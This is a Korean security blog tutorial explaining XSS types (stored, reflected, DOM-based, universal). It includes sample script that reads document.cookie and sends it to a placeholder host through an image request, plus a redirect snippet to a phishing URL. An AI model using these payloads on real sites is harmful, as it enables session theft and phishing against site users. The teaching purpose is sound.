본문 바로가기

해킹&보안/웹 & 앱

XSS

XSS(Cross Site Scripting)는 클라이언트 사이드 취약점의 대표적인 공격으로 
웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다.

CSS로 쓰는것이 맞지만 스타일시트 언어인 CSS와의 중복때문에 혼동이 올 수 있어서 XSS로 사용한다

 

 

XSS 공격

XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다

예를 들면 로그인, 회원가입 하면 "ㅇㅇㅇ님 환영합니다"를 출력하는 상황.

Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 사용되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS (Fragment는 서버 요청/응답 에 포함x
Universal XSS 클라이언트의 브라우저 or 브라우저의 플로그인에서 발생하는 취약점으로 SOP정챡을 우회하는 XSS

 

자바스크립트는 웹에서  버튼 클릭 시에 어떤 이벤트를 발생시킬지와 데이터 입력 시 해당 데이터를 전송하는 이벤트를 구현할 수 있고, 기능 외에도 사용자와의 상호 작용 없이 이용자의 권한으로 정보를 조회하거나 변경 등의 행위가 가능하다.

( 이용자를 식별하기 위한 세션 및 쿠키가 웹 브라우저에 저장되어 있기 때문)

 

XSS 공격 코드 

<!DOCTYPE html>
<html>
<head>
    <title>XSS Example</title>
</head>
<body>
    <h1>XSS Example</h1>
    <script>
        // 경고창을 띄워 XSS가 작동하는지 확인
        alert("Hello, this is an XSS example.");

        // 현재 페이지의 쿠키를 alert로 표시
        alert("Current cookies: " + document.cookie);

        // 쿠키를 설정하는 부분 (예시이며 실제 데이터는 아님)
        document.cookie = "example=test;";

 
        new Image().src = "http://example.com?cookie=" + encodeURIComponent(document.cookie);
    </script>
</body>
</html>

쿠키 및 세션 탈취 공격 코드

 

  • 경고창 출력: alert("Hello, this is an XSS example."); - XSS 공격이 실행되는지 확인하기 위한 경고창
  • 쿠키 표시: alert("Current cookies: " + document.cookie); - 현재 페이지의 쿠키 값을 알림으로 표시
  • 쿠키 설정: document.cookie = "example=test;"; - 쿠키를 설정하는 예시
  • 쿠키 전송: new Image().src = "http://example.com?cookie=" + encodeURIComponent(document.cookie); - 쿠키를 다른 서버로 전송하는 방법을 보여주는 부분이고. http://example.com은 실제 URL이 아님. 실제로는 동작X

 

 

 

<script>
    location.href = "http://example.com/phishing"; 
    window.open("http://example.com/");
</script>

위치이동

사용자가 페이지를 로드하면 새로운 브라우저 창 또는 탭에서 http://example.com/이 열리게 된다.

보통 피싱 공격 등으로 사용됨.

'해킹&보안 > 웹 & 앱' 카테고리의 다른 글

SQL Injection  (0) 2024.08.02
OWASP TOP 10  (0) 2024.07.31
쿠키&세션  (0) 2024.07.30
취약점 (vulnerability)  (0) 2024.05.27
웹 애플리케이션 모의해킹  (0) 2024.05.15